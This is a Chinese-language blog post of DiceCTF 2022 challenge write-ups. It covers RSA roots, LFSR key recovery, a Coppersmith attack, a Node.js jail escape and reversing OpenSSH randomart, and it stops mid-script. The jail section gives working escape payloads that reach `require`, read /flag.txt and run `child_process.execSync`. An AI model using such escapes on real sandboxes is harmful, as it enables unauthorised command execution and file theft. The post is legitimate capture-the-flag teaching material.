DiceCTF 2022 WriteUps

發表於 2022-02-07

分類於 CTF

這次 Solo 用 nyahello 參加 DiceCTF 拿第 15 名，感想是題目難到讓我懷疑我到底會不會 web 和 crypto，另一方面又學到了很多新東西。這邊是來自官方的 writeup。

題目名稱上有 * 的題目代表是我賽後才解的。

Crypto

baby-rsa

from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes

def getAnnoyingPrime(nbits, e):
	while True:
		p = getPrime(nbits)
		if (p-1) % e**2 == 0:
			return p

nbits = 128
e = 17

p = getAnnoyingPrime(nbits, e)
q = getAnnoyingPrime(nbits, e)

flag = b"dice{???????????????????????}"

N = p * q
cipher = pow(bytes_to_long(flag), e, N)

print(f"N = {N}")
print(f"e = {e}")
print(f"cipher = {cipher}")

RSA 的 $N$ 只有 256 bit，直接用 FactorDB 或是 yafu, cadonfs, alpertron 之類的工具分解也可以。之後因為 $e^2|(p-1)$ 和 $e^2|(q-1)$ 使得它不能直接 inverse 算出 $d$ 。

這個情況下它的根不是唯一的，正常方法是使用 AMM 之類的算法求 $x^e-c$ 一根，然後乘 e-th roots of unity 就能拿到 e 個根符合 $m^e=c$ 。

來源: 【浅谈系列】高次剩余的求解

不過這題的 $e=17$ 很小，sage 本身就能用 GF(p)(c).nth_root(e, all=True) 處理了。分別找 $p,q$ 底下的根後 CRT 回來即可拿到 $e^2$ 個解，看哪個符合 flag format。上面的 AMM 通常只在 $e$ 比較大的時候會比 sage 好。

from Crypto.Util.number import *

p = 172036442175296373253148927105725488217
q = 337117592532677714973555912658569668821
e = 17
c = 19441066986971115501070184268860318480501957407683654861466353590162062492971

for mp in GF(p)(c).nth_root(e, all=True):
    for mq in GF(q)(c).nth_root(e, all=True):
        m = crt([ZZ(mp), ZZ(mq)], [p, q])
        flag = long_to_bytes(m)
        if flag.startswith(b"dice{"):
            print(flag)

# dice{cado-and-sage-say-hello}

這邊也有另一個算法可以復原: Incorrectly Generated RSA Keys: How To Recover Lost Plaintexts

rejected

#!/usr/local/bin/python

import secrets

class LFSR:
    def __init__(self, key, taps):
        self._s = key
        self._t = taps            

    def _sum(self, L):
        s = 0
        for x in L:
            s ^= x
        return s

    def _clock(self):
        b = self._s[0]
        self._s = self._s[1:] + [self._sum(self._s[p] for p in self._t)]
        return b

    def bit(self):
        return self._clock()

class RNG:
    def __init__(self, lfsr, N, nbits):
        self.lfsr = lfsr
        self.N = N
        self.nbits = nbits
        
        if not (pow(2, 27) < N < pow(2, 31)):
            raise ValueError("modulus is too big or small")
        
        K = pow(2, nbits) // N
        self.cutoff = K * N

    def get_random_nbit_integer(self):
        res = 0
        for i in range(self.nbits):
            res += self.lfsr.bit() << i
        return res
    
    def get_random_integer_modulo_N(self):
        count = 1
        while True:
            x = self.get_random_nbit_integer()
            if x < self.cutoff:
                return x % self.N, count
            count += 1

taps = [60, 58, 54, 52, 48, 47, 45, 43, 38, 36, 32, 28, 22, 21, 13, 9, 8, 5, 2, 0]
n = 64

with open("flag.txt", "r") as f:
    flag = f.read()

if __name__ == "__main__":
    print("Welcome to the unbiased random number factory!")
    N = int(input("What modulus would you like to use? Choose between 2^27 and 2^31: "))

    key = secrets.randbits(n)
    key_bits = [(key >> i)&1 for i in range(n)]
    
    lfsr = LFSR(key_bits, taps)
    rng = RNG(lfsr, N, 32)
    
    for _ in range(1024):
        c = input("Enter your command (R,F): ")
        if c.startswith("R"):
            x,t = rng.get_random_integer_modulo_N()
            print("creating this random number took {} attempts".format(t))
        elif c.startswith("F"):
            seed = int(input("what was my seed?"))
            if seed == key:
                print(flag)
            exit(0)
        else:
            print("unsupported command")

這題有個 degree 64 的 LFSR，然後 RNG 是使用 LFSR 反覆產生 32 bits 的數之後經過一些篩選後回傳嘗試的次數 attempts，不含隨機數本身。

篩選的部分是採用 rejection sampling 檢查是否小於 cutoff，其中 cutoff 是 $\lfloor\frac{2^{32}}{N}\rfloor \cdot N=2^{32}-(2^{32}\bmod{N})$

如果 attempts 都是 1 的話提供不了什麼有用的次數，所以 $N$ 不能整除 $2^{32}$ 。測試一下會發現 $N=2^{31}-2^{29}$ 的話 cutoff 是 $2^{31}+2^{30}$ ，以二進位展開是 11000000000000000000000000000000。

很明顯的，x >= self.cutoff 只會發生在 x 的最高兩 bits 是 1 的情況，所以當回傳的 attempts 大於 1 的時候就能獲得 2*(attempts-1) bits 的資訊。獲得 64 bits 之後解 LFSR 的線性系統就能還原 key。

from sage.all import PolynomialRing, GF, matrix, vector, companion_matrix
from pwn import process, remote

taps = [60, 58, 54, 52, 48, 47, 45, 43, 38, 36, 32, 28, 22, 21, 13, 9, 8, 5, 2, 0]
n = 64
N = 2 ** 31 - 2 ** 29
cutoff = (2 ** 32 // N) * N
print(f"{cutoff:032b}")

# io = process(["python", "rejected.py"])
io = remote("mc.ax", 31669)
io.sendlineafter(b": ", str(N).encode())


def get_num():
    io.sendlineafter(b"Enter your command (R,F): ", b"R")
    io.recvuntil(b"took ")
    return int(io.recvuntilS(b" ").strip())


# get some bits
bits = []
known_bits = 0
while known_bits < 64:
    print(f"{known_bits}")
    t = get_num()
    while t > 1:
        # number are rejected iff highest 2 bits are set
        bits.extend(["?"] * 30 + [1, 1])
        t -= 1
        known_bits += 2
    bits.extend(["?"] * 32)
print("".join(map(str, bits)))

P = PolynomialRing(GF(2), "x")
x = P.gen()
poly = sum([x ** e for e in taps]) + x ** 64
M = companion_matrix(poly, "bottom")

# construct linear system
left = []
right = []
for i, b in enumerate(bits):
    if b != "?":
        Mi = M ** i
        left.append(Mi[0])
        right.append(b)

# solve
kbits = matrix(left).solve_right(vector(right))
recovered_key = int("".join(map(str, kbits[::-1])), 2)
print(f"{recovered_key = }")

io.sendlineafter(b"Enter your command (R,F): ", b"F")
io.sendlineafter(b"seed?", str(recovered_key).encode())
io.interactive()

# dice{so-many-numbers-got-rejected-on-valentines-day-1cc16ff5b20d6be1fbd65de0d234608c}

*commitment-issues

from random import randrange
from Crypto.Util.number import getPrime, inverse, bytes_to_long, GCD

flag = b'dice{?????????????????????????}'
n = 5

def get_prime(n, b):
	p = getPrime(b)
	while GCD(p - 1, n) != 1:
		p = getPrime(b)
	return p

p = get_prime(n, 1024)
q = get_prime(n, 1024)
N = p*q
phi = (p - 1)*(q - 1)

e = 0xd4088c345ced64cbbf8444321ef2af8b
d = inverse(e, phi)

def sign(message):
	m = bytes_to_long(message)
	return pow(m, d, N)

def commit(s, key, n):
	return (s + key) % N, pow(key, n, N)

def reveal(c1, c2, key, n):
	assert pow(key, n, N) == c2
	return (c1 - key) % N

r = randrange(1, N)
s = sign(flag)
c1, c2 = commit(s, r, n)

print(f'N = {hex(N)}')
print(f'c1 = {hex(c1)}')
print(f'c2 = {hex(c2)}')

這題有個 RSA 的 $N$ ，和以下幾個等式:

\begin{aligned} c_1&=s+r \\ c_2&=r^5 \\ s^e&=m \end{aligned}

為方便，此篇的運算都是在 $\mathbb{Z}_N$ 中的

顯然可知 $(c_1-s)^5-c_2=0$ ，另外和 $s^e-m=0$ 取 resultant 消除 $s$ 的話可以得到一個五次的 $f(m)$ 多項式。因為 $m$ 應該不大，直接用 coppersmith 能求出 flag。

取比較小的 $e$ 用 sage 測試也確實可以成功，但是問題就在於這題的 $e$ 很大，沒辦法算 resultant。比賽中沒解出來就是卡在這邊。

這題的技巧是設 $p(t)=(c_1-t)^5-c_2$ ，顯然 $p(s)=0$ 。然後在多項式環 $\mathbb{Z}_N[t]/p(t)$ 中的 $t$ 可以視為和 $s$ 等價， $t^e$ (等價於 $m$ ) 也能在 sage 中很有效率的計算出來，會是一個 $t$ 的四次多項式。

從前面知道說存在一個五次多項式 $f(t^e)$ 以 $m$ 為根，所以可以用矩陣找出 non trivial 的多項式係數:

\alpha_0+\alpha_1(t^e)+\alpha_2(t^e)^2+\cdots+\alpha_5(t^e)^5=0

註: $t^e, (t^e)^2, \cdots$ 都是四次多項式

找出係數後 coppersmith 就能獲得 flag 了。

不過在實作會遇到的問題是 solve_right 只能找出 trivial solution，內建的 right kernel 也沒有在 mod N 底下的 implementation。一個做法是自己手寫 gauss elimination，不過我偷懶改用 LLL 比較簡單。

from Crypto.Util.number import long_to_bytes

N = 0xBA8CB3257C0C83EDF4F56F5B7E139D3D6AC8ADF71618B5F16A02D61B63426C2C275CE631A0927B2725C6CC7BDBE30CD8A8494BC7C7F6601BCEE5D005B86016E79919E22DA4C431CEC16BE1EE72C056723FBBEC1543C70BFF8042630C5A9C23F390E2221BED075BE6A6AC71AD89A3905F6C706B4FB6605C08F154FF8B8E28445A7BE24CB184CB0F648DB5C70DC3581419B165414395AE4282285C04D6A00A0CE8C06A678181C3A3C37B426824A5A5528EE532BDD90F1F28B7EC65E6658CB463E867EB5280BDA80CBDB066CBDB4019A6A2305A03FD29825158CE32487651D9BFA675F2A6B31B7D05E7BD74D0F366CBFB0EB711A57E56E6DB6D6F1969D52BF1B27B
c1 = 0x75240FCC256F1E2FC347F75BBA11A271514DD6C4E58814E1CB20913195DB3BD0440C2CA47A72EFEE41B0F9A2674F6F46A335FD7E54BA8CD1625DAEAAAA45CC9550C566F6F302B7C4C3A4694C0F5BB05CD461B5CA9017F2EB0E5F60FB0C65E0A67F3A1674D74990FD594DE692951D4EED32EAC543F193B70777B14E86CF8FA1927FE27535E727613F9E4CD00ACB8FAB336894CAA43AD40A99B222236AFC219397620CA766CEF2FE47D53B07E302410063EAE3D0BF0A9D67793237281E0BFDD48255B58B2C1F8674A21754CF62FAB0BA56557FA276241CE99140473483F3E5772FCB75B206B3E7DFB756005CEC2C19A3CB7FA17A4D17F5EDD10A8673607047A0D1
c2 = 0xDB8F645B98F71B93F248442CFC871F9410BE7EFEE5CFF548F2626D12A81EE58C1A65096A042DB31A051904D7746A56147CC02958480F3B5D5234B738A1FB01DC8BF1DFFAD7F045CAC803FA44F51CBF8ABC74A17EE3D0B9ED59C844A23274345C16BA56D43F17D16D303BB1541EE1C15B9C984708A4A002D10188CCC5829940DD7F76107760550FAC5C8AB532FF9F034F4FC6AAB5ECC15D5512A84288D6FBE4B2D58AB6E326500C046580420D0A1B474DECA052EBD93AAA2EF972ACEBA7E6FA75B3234463A68DB78FFF85C3A1673881DCB7452390A538DFA92E7FF61F57EDF48662991B8DD251C0474B59C6F73D4A23FE9191AC8E52C8C409CF4902EEAA71714
e = 0xD4088C345CED64CBBF8444321EF2AF8B

Z = Zmod(N)
P = PolynomialRing(Z, "t")
t = P.gen()
R = P.quotient((c1 - t) ^ 5 - c2, "t")
t = R._first_ngens(1)[0]  # same as s

te = t ** e  # same as m
basis = [te ^ i for i in range(6)]

# idk how to find a non trivial linear combination to zero vector in sage
# solve_right only gives trivial solution
# right_kernel doesn't work modulo N
# so I use a stupid LLL hack
mm = matrix([list(x) for x in basis]).change_ring(ZZ).stack(matrix.identity(5) * N)
reduced, tr = mm.LLL(transformation=True)
assert reduced[0] == 0
coefs = tr[0][:6].change_ring(Z)

S = PolynomialRing(Z, "m")
m = S.gen()
ff = sum([c * m ** i for i, c in enumerate(coefs)])
m = ff.monic().small_roots(X=2 ** 256, epsilon=0.08)[0]
print(long_to_bytes(m))

# dice{wh4t!!-wh0_g4ve_u-thE-k3y}

後來也發現上面其實不用那麼麻煩，一樣取 $p(t)=(c_1-t)^5-c_2$ 和 $\mathbb{Z}_N[t]/p(t)$ 可以簡單的計算出 $t^e$ ，它會是一個四次的 $t$ 多項式 $r(t)$ 。所以 $s^e-m$ 都設為未知數的話會變成 $f(x,y)=r(x)-y$ ，另外和原本的 $p(x)$ 可以算 resultant 把 $x$ 消除，得到一個 $y$ 的多項式以 $m$ 為根，所以 coppersmith 即可求出 $m$ 。

這之所以可以 work 是因為 $t^e-m=r(t)+q(t)p(t)-m$ ，顯然左右側都以 $s$ 為根，同時 $p(s)=0$ 也成立所以能用 quotient ring 的運算以 $r(t)-m$ 去代替 $t^e-m$ 。

from Crypto.Util.number import long_to_bytes

N = 0xBA8CB3257C0C83EDF4F56F5B7E139D3D6AC8ADF71618B5F16A02D61B63426C2C275CE631A0927B2725C6CC7BDBE30CD8A8494BC7C7F6601BCEE5D005B86016E79919E22DA4C431CEC16BE1EE72C056723FBBEC1543C70BFF8042630C5A9C23F390E2221BED075BE6A6AC71AD89A3905F6C706B4FB6605C08F154FF8B8E28445A7BE24CB184CB0F648DB5C70DC3581419B165414395AE4282285C04D6A00A0CE8C06A678181C3A3C37B426824A5A5528EE532BDD90F1F28B7EC65E6658CB463E867EB5280BDA80CBDB066CBDB4019A6A2305A03FD29825158CE32487651D9BFA675F2A6B31B7D05E7BD74D0F366CBFB0EB711A57E56E6DB6D6F1969D52BF1B27B
c1 = 0x75240FCC256F1E2FC347F75BBA11A271514DD6C4E58814E1CB20913195DB3BD0440C2CA47A72EFEE41B0F9A2674F6F46A335FD7E54BA8CD1625DAEAAAA45CC9550C566F6F302B7C4C3A4694C0F5BB05CD461B5CA9017F2EB0E5F60FB0C65E0A67F3A1674D74990FD594DE692951D4EED32EAC543F193B70777B14E86CF8FA1927FE27535E727613F9E4CD00ACB8FAB336894CAA43AD40A99B222236AFC219397620CA766CEF2FE47D53B07E302410063EAE3D0BF0A9D67793237281E0BFDD48255B58B2C1F8674A21754CF62FAB0BA56557FA276241CE99140473483F3E5772FCB75B206B3E7DFB756005CEC2C19A3CB7FA17A4D17F5EDD10A8673607047A0D1
c2 = 0xDB8F645B98F71B93F248442CFC871F9410BE7EFEE5CFF548F2626D12A81EE58C1A65096A042DB31A051904D7746A56147CC02958480F3B5D5234B738A1FB01DC8BF1DFFAD7F045CAC803FA44F51CBF8ABC74A17EE3D0B9ED59C844A23274345C16BA56D43F17D16D303BB1541EE1C15B9C984708A4A002D10188CCC5829940DD7F76107760550FAC5C8AB532FF9F034F4FC6AAB5ECC15D5512A84288D6FBE4B2D58AB6E326500C046580420D0A1B474DECA052EBD93AAA2EF972ACEBA7E6FA75B3234463A68DB78FFF85C3A1673881DCB7452390A538DFA92E7FF61F57EDF48662991B8DD251C0474B59C6F73D4A23FE9191AC8E52C8C409CF4902EEAA71714
e = 0xD4088C345CED64CBBF8444321EF2AF8B

Z = Zmod(N)
P = PolynomialRing(Z, "x")
x = P.gen()
g = (c1 - x) ^ 5 - c2
R = P.quotient(g, "t")
t = R.gen()  # same as s

f = t ^ e  # represent s^e as a degree 4 polynomial in t

Pxy = PolynomialRing(Z, "x,y")
x, y = Pxy.gens()

f = f.lift().change_ring(Pxy) - y  # s^e - m in x, y
g = g.change_ring(Pxy)  # polynomial in x
res = f.resultant(g).univariate_polynomial()
m = res.monic().small_roots(X=2**256, epsilon=0.08)[0]
print(long_to_bytes(int(m)))

另外看到另一個方法比較簡單。原本有個 $p(t)$ 多項式的根是 $s$ ，目標要想辦法找個多項式 $q(t)$ 的根是 $s^e=m$ ，這樣就能用 coppersmith。

做法是用 $p(t)$ 的伴隨矩陣 $M$ ，開 $e$ 次得到 $M^e$ 之後取它的特徵多項式就是 $q(t)$ 了。 $q(t)$ 之所以符合 $q(s^e)=0$ 是因為 $s$ 是 $M$ 的 eigenvalue，所以 $s^e$ 是 $M^e$ 的 eigenvalue，自然也是 $q(t)$ 的根。

from Crypto.Util.number import long_to_bytes

N = 0xBA8CB3257C0C83EDF4F56F5B7E139D3D6AC8ADF71618B5F16A02D61B63426C2C275CE631A0927B2725C6CC7BDBE30CD8A8494BC7C7F6601BCEE5D005B86016E79919E22DA4C431CEC16BE1EE72C056723FBBEC1543C70BFF8042630C5A9C23F390E2221BED075BE6A6AC71AD89A3905F6C706B4FB6605C08F154FF8B8E28445A7BE24CB184CB0F648DB5C70DC3581419B165414395AE4282285C04D6A00A0CE8C06A678181C3A3C37B426824A5A5528EE532BDD90F1F28B7EC65E6658CB463E867EB5280BDA80CBDB066CBDB4019A6A2305A03FD29825158CE32487651D9BFA675F2A6B31B7D05E7BD74D0F366CBFB0EB711A57E56E6DB6D6F1969D52BF1B27B
c1 = 0x75240FCC256F1E2FC347F75BBA11A271514DD6C4E58814E1CB20913195DB3BD0440C2CA47A72EFEE41B0F9A2674F6F46A335FD7E54BA8CD1625DAEAAAA45CC9550C566F6F302B7C4C3A4694C0F5BB05CD461B5CA9017F2EB0E5F60FB0C65E0A67F3A1674D74990FD594DE692951D4EED32EAC543F193B70777B14E86CF8FA1927FE27535E727613F9E4CD00ACB8FAB336894CAA43AD40A99B222236AFC219397620CA766CEF2FE47D53B07E302410063EAE3D0BF0A9D67793237281E0BFDD48255B58B2C1F8674A21754CF62FAB0BA56557FA276241CE99140473483F3E5772FCB75B206B3E7DFB756005CEC2C19A3CB7FA17A4D17F5EDD10A8673607047A0D1
c2 = 0xDB8F645B98F71B93F248442CFC871F9410BE7EFEE5CFF548F2626D12A81EE58C1A65096A042DB31A051904D7746A56147CC02958480F3B5D5234B738A1FB01DC8BF1DFFAD7F045CAC803FA44F51CBF8ABC74A17EE3D0B9ED59C844A23274345C16BA56D43F17D16D303BB1541EE1C15B9C984708A4A002D10188CCC5829940DD7F76107760550FAC5C8AB532FF9F034F4FC6AAB5ECC15D5512A84288D6FBE4B2D58AB6E326500C046580420D0A1B474DECA052EBD93AAA2EF972ACEBA7E6FA75B3234463A68DB78FFF85C3A1673881DCB7452390A538DFA92E7FF61F57EDF48662991B8DD251C0474B59C6F73D4A23FE9191AC8E52C8C409CF4902EEAA71714
e = 0xD4088C345CED64CBBF8444321EF2AF8B

Z = Zmod(N)
P = PolynomialRing(Z, "t")
t = P.gen()
p = (c1 - t) ^ 5 - c2  # p(s)=0

M = companion_matrix(p.monic())
q = (M ^ e).charpoly()  # q(s^e)=q(m)=0

m = q.monic().small_roots(X=2 ** 256, epsilon=0.08)[0]
print(long_to_bytes(m))

*correlated

#!/usr/local/bin/python

import secrets

class LFSR:
    def __init__(self, key, taps):
        self._s = key
        self._t = taps            

    def _sum(self, L):
        s = 0
        for x in L:
            s ^= x
        return s

    def _clock(self):
        b = self._s[0]
        self._s = self._s[1:] + [self._sum(self._s[p] for p in self._t)]
        return b

    def bit(self):
        return self._clock()

taps = [45, 40, 39, 36, 35, 34, 33, 32, 30, 28, 27, 23, 22, 21, 19, 17, 16, 15, 14, 13, 9, 7, 3, 0]
n = 48
m = 20000
prob = 0.80
delta = 1048576

with open("flag.txt", "r") as f:
    flag = f.read()

if __name__ == "__main__":
    print("I heard that fast correlation attacks don't work if your LFSR has more than 10 taps.")
    print("You have 60 seconds to recover the key.")

    key = secrets.randbits(n)
    key_bits = [(key >> i)&1 for i in range(n)]
    
    lfsr = LFSR(key_bits, taps)
    stream = [lfsr.bit() for _ in range(m)]

    noise = [secrets.randbelow(delta) > prob * delta for i in stream]
    stream = [i ^ j for i,j in zip(noise, stream)]

    print("Here are {} bits of the stream with {}% accuracy".format(m, 100 * prob))
    print(int("".join(map(str, stream)), 2))

    seed = int(input("what is my key?"))
    if seed == key:
        print(flag)

這題因為在題目介紹看到有我不會的 fast correlation attack 就連檔案都沒下載，不過賽後來看才發現有個比我預期的簡單很多的解法(大概也不是 intended)。

簡單來說有個 48 degree 的 LFSR 輸出 20000 bits 的輸出，其中有 20% 的 bits 都會 flip 過，目標是要找回初始狀態。

如果隨便取 48 bits 都是沒有 flip 過的，那就能解線性系統找回初始狀態。因此有個簡單的解法就是真的直接暴力撞 $0.8^{48} \approx 2.23 \times 10^{-5}$ 的機率去賭全部都沒 flip 過。隨機撞 30000 次都沒找到結果的機率是 $(1-0.8^{48})^{30000} \approx 0.512$ ，所以成功率是 $48.7\%$ ，在 CTF 中已經相當夠了。

from sage.all import *
from pwn import *
import random
from tqdm import tqdm


class LFSR:
    def __init__(self, key, taps):
        self._s = key
        self._t = taps

    def _sum(self, L):
        s = 0
        for x in L:
            s ^= x
        return s

    def _clock(self):
        b = self._s[0]
        self._s = self._s[1:] + [self._sum(self._s[p] for p in self._t)]
        return b

    def bit(self):
        return self._clock()


# fmt: off
taps = [45, 40, 39, 36, 35, 34, 33, 32, 30, 28, 27, 23, 22, 21, 19, 17, 16, 15, 14, 13, 9, 7, 3, 0]
# fmt: on
n = 48
m = 20000
prob = 0.80
delta = 1048576

# io = process(["python", "correlated.py"])
io = remote("mc.ax", 31683)
io.recvuntil(b"accuracy\n")
num = int(io.recvlineS())
stream = list(map(int, f"{num:020000b}"))

P = PolynomialRing(GF(2), "x")
x = P.gen()
poly = sum([x ** e for e in taps]) + x ** 48
M = companion_matrix(poly, "bottom")

M_powers = [M ** i for i in range(len(stream))]  # cache for speeding up

pbar = tqdm(desc="Brute force with prob 0.8^48")
while True:
    pbar.n += 1
    pbar.update()
    if pbar.n > 30000:
        print("Unlucky, just try again")
        exit()
    chosen_idx = random.sample(range(len(stream)), 48)
    left = []
    right = []
    for i in chosen_idx:
        Mi = M_powers[i]
        left.append(Mi[0])
        right.append(stream[i])
    try:
        kbits = list(map(int, matrix(left).solve_right(vector(right))))
    except ValueError:
        # no solutions
        continue
    test_m = 200  # we don't need to test that much
    new_lfsr = LFSR(kbits, taps)
    new_stream = [new_lfsr.bit() for _ in range(test_m)]
    if sum([x == y for x, y in zip(new_stream, stream)]) >= 0.70 * test_m:
        recovered_key = int("".join(map(str, kbits[::-1])), 2)
        print(f"{recovered_key = }")
        pbar.close()
        break

io.sendline(str(recovered_key).encode())
io.interactive()

# dice{low-flavor-solar-radiation-efec606520fba4c}

30000 次在我的電腦上大概花 36 秒，不成功就多試幾次而已

Misc

undefined

#!/usr/local/bin/node
// don't mind the ugly hack to read input
console.log("What do you want to run?");
let inpBuf = Buffer.alloc(2048);
const input = inpBuf.slice(0, require("fs").readSync(0, inpBuf)).toString("utf8");
inpBuf = undefined;

Function.prototype.constructor = undefined;
(async () => {}).constructor.prototype.constructor = undefined;
(function*(){}).constructor.prototype.constructor = undefined;
(async function*(){}).constructor.prototype.constructor = undefined;

for (const key of Object.getOwnPropertyNames(global)) {
    if (["global", "console", "eval"].includes(key)) {
        continue;
    }
    global[key] = undefined;
    delete global[key];
}

delete global.global;
process = undefined;

{
    let AbortController=undefined;let AbortSignal=undefined;let AggregateError=undefined;let Array=undefined;let ArrayBuffer=undefined;let Atomics=undefined;let BigInt=undefined;let BigInt64Array=undefined;let BigUint64Array=undefined;let Boolean=undefined;let Buffer=undefined;let DOMException=undefined;let DataView=undefined;let Date=undefined;let Error=undefined;let EvalError=undefined;let Event=undefined;let EventTarget=undefined;let FinalizationRegistry=undefined;let Float32Array=undefined;let Float64Array=undefined;let Function=undefined;let Infinity=undefined;let Int16Array=undefined;let Int32Array=undefined;let __dirname=undefined;let Int8Array=undefined;let Intl=undefined;let JSON=undefined;let Map=undefined;let Math=undefined;let MessageChannel=undefined;let MessageEvent=undefined;let MessagePort=undefined;let NaN=undefined;let Number=undefined;let Object=undefined;let Promise=undefined;let Proxy=undefined;let RangeError=undefined;let ReferenceError=undefined;let Reflect=undefined;let RegExp=undefined;let Set=undefined;let SharedArrayBuffer=undefined;let String=undefined;let Symbol=undefined;let SyntaxError=undefined;let TextDecoder=undefined;let TextEncoder=undefined;let TypeError=undefined;let URIError=undefined;let URL=undefined;let URLSearchParams=undefined;let Uint16Array=undefined;let Uint32Array=undefined;let Uint8Array=undefined;let Uint8ClampedArray=undefined;let WeakMap=undefined;let WeakRef=undefined;let WeakSet=undefined;let WebAssembly=undefined;let _=undefined;let exports=undefined;let _error=undefined;let assert=undefined;let async_hooks=undefined;let atob=undefined;let btoa=undefined;let buffer=undefined;let child_process=undefined;let clearImmediate=undefined;let clearInterval=undefined;let clearTimeout=undefined;let cluster=undefined;let constants=undefined;let crypto=undefined;let decodeURI=undefined;let decodeURIComponent=undefined;let dgram=undefined;let diagnostics_channel=undefined;let dns=undefined;let domain=undefined;let encodeURI=undefined;let encodeURIComponent=undefined;let arguments=undefined;let escape=undefined;let events=undefined;let fs=undefined;let global=undefined;let globalThis=undefined;let http=undefined;let http2=undefined;let https=undefined;let inspector=undefined;let isFinite=undefined;let isNaN=undefined;let module=undefined;let net=undefined;let os=undefined;let parseFloat=undefined;let parseInt=undefined;let path=undefined;let perf_hooks=undefined;let performance=undefined;let process=undefined;let punycode=undefined;let querystring=undefined;let queueMicrotask=undefined;let readline=undefined;let repl=undefined;let require=undefined;let setImmediate=undefined;let setInterval=undefined;let __filename=undefined;let setTimeout=undefined;let stream=undefined;let string_decoder=undefined;let structuredClone=undefined;let sys=undefined;let timers=undefined;let tls=undefined;let trace_events=undefined;let tty=undefined;let unescape=undefined;let url=undefined;let util=undefined;let v8=undefined;let vm=undefined;let wasi=undefined;let worker_threads=undefined;let zlib=undefined;let __proto__=undefined;let hasOwnProperty=undefined;let isPrototypeOf=undefined;let propertyIsEnumerable=undefined;let toLocaleString=undefined;let toString=undefined;let valueOf=undefined;

    console.log(eval(input));
}

這題是個 node.js jail，其中 global 上一堆東西以及 Function 都變成 undefined 了。

雖然這個是 CJS 的 module，但不知為什麼 import(xx).then(...) 還是能用，所以有個非常簡單的 unintended:

import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))

不過我是比賽完才知道可以這樣弄的，我的解法是參考這邊拿 structured stack trace，然後從上面找到 CJS module 本身的 function: function (exports, require, module, __filename, __dirname) { /* actual code */ }。所以 fn.arguments[1] 就是 require，之後直接讀檔即可。

把下面這個 minify 過就能用了:

try {
	null.f()
} catch (e) {
	TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
	const oldStackTrace = Error.prepareStackTrace
	try {
		Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
		Error.captureStackTrace(this)
		this.stack
	} finally {
		Error.prepareStackTrace = oldStackTrace
	}
}
function trigger() {
	const err = new CustomError()
	console.log(err.stack[0])
	for (const x of err.stack) {
		const fn = x.getFunction()
		console.log(String(fn).slice(0, 200))
		console.log(fn?.arguments)
		console.log('='.repeat(40))
		if ((args = fn?.arguments)?.length > 0) {
			req = args[1]
			console.log(req('child_process').execSync('id').toString())
		}
	}
}
trigger()
// dice{who_needs_builtins_when_you_have_arguments}

不過預期解比較簡單，一樣是從 arguments 拿 require，不過不需要 stack trace:

(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()

sober-bishop

這題就只給兩個檔案:

+----[THIS IS]----+
|          o  o+++|
|         + . .=*E|
|        B . . oo=|
|       = . .  .+ |
|        S        |
|                 |
|                 |
|                 |
|                 |
+---[THE FLAG]----+

+----[THIS IS]----+
|     .E=.        |
|      o..        |
|     o ..        |
|    o o.         |
|     O .S        |
|    o B          |
|     o o         |
|  ... B          |
|  +=.= .         |
+---[md5(FLAG)]---+

這個是 openssh 在生成 key 的時候會出現的 fingerprint 圖案，生成方法在這邊，叫 Drunken Bishop Algorithm。

它基本上就是從中心開始，反覆從資料讀取 2 bits 去決定要往哪個方向走(左上、左下、右上、右下)。經過的點會記錄它被踩過的次數，然後轉換成字元，其中 S 和 E 是起點和終點。

顯然地，這題變成一個 graph traversal 問題，直接寫 BFS 剪枝去炸會發現挺慢的。我是用已知的 dice{ prefix 減少一點搜索範圍，然後透過觀察輸出去猜前兩字元是 un，之後用 pypy3 跑腳本大概可以壓在 10 秒鐘左右輸出 flag。

from hashlib import md5


def clamp(mn, val, mx):
    return max(mn, min(val, mx))


FLDBASE = 8
FLDBASE_X = FLDBASE * 2 + 1
FLDBASE_Y = FLDBASE + 1
AUG = b" .o+=*BOX@%&#/^SE"


def randomart(msg: bytes):
    l = len(AUG) - 1

    field = [[0] * FLDBASE_Y for _ in range(FLDBASE_X)]
    x, y = FLDBASE_X // 2, FLDBASE_Y // 2
    field[x][y] = l - 1
    for v in msg:
        for _ in range(4):
            x += 1 if v & 0x1 else -1
            y += 1 if v & 0x2 else -1
            x = clamp(0, x, FLDBASE_X - 1)
            y = clamp(0, y, FLDBASE_Y - 1)
            if field[x][y] < l - 2:
                field[x][y] += 1
            v >>= 2
    field[x][y] = l

    return field


def printart(field):
    for y in range(FLDBASE_Y):
        for x in range(FLDBASE_X):
            print(chr(AUG[field[x][y]]), end="")
        print()


def printart_num(field):
    for y in range(FLDBASE_Y):
        for x in range(FLDBASE_X):
            v = field[x][y]
            if AUG[v] == ord("S"):
                v = "S"
            elif AUG[v] == ord("E"):
                v = "E"
            print(v, end=" ")
        print()


from collections import deque


def reverse_randomart(field, is_goodpath):
    sx, sy = find_value(field, AUG.index(b"S"))

    directions = [(1, 1, 0b11), (1, -1, 0b01), (-1, 1, 0b10), (-1, -1, 0b00)]

    q = deque([(sx, sy, [], field)])
    while len(q) > 0:
        x, y, path, cur_field = q.popleft()

        for dx, dy, bits in directions:
            xx = clamp(0, x + dx, FLDBASE_X - 1)
            yy = clamp(0, y + dy, FLDBASE_Y - 1)
            if cur_field[xx][yy] > 0:
                copied_field = list(map(list, cur_field))
                copied_field[xx][yy] -= 1
                next_path = path + [bits]
                if is_goodpath(next_path):
                    q.append((xx, yy, path + [bits], copied_field))


def find_value(field, v):
    for x in range(FLDBASE_X):
        for y in range(FLDBASE_Y):
            if field[x][y] == v:
                return x, y


def bordered_to_field(s: bytes):
    field = [[0] * FLDBASE_Y for _ in range(FLDBASE_X)]
    y = 0
    for ss in s.strip().splitlines()[1:-1]:
        line = ss.strip()[1:-1]
        if len(line) == 0:
            continue
        for x in range(len(line)):
            field[x][y] = AUG.index(line[x])
        y += 1
    return field


with open("flag", "rb") as f:
    flag_field = bordered_to_field(f.read())

with open("hash", "rb") as f:
    hash_field = bordered_to_field(f.read())


def is_goodpath(path):
    if len(path) % 4 == 0:
        ar = []
        for i in range(0, len(path), 4):
            d, c, b, a = path[i : i + 4]
            ar.append((a << 6) | (b << 4) | (c << 2) | d)
        if len(ar) > 0 and not bytes(ar).isascii():
            return False

        pfx = b"un"  # guess
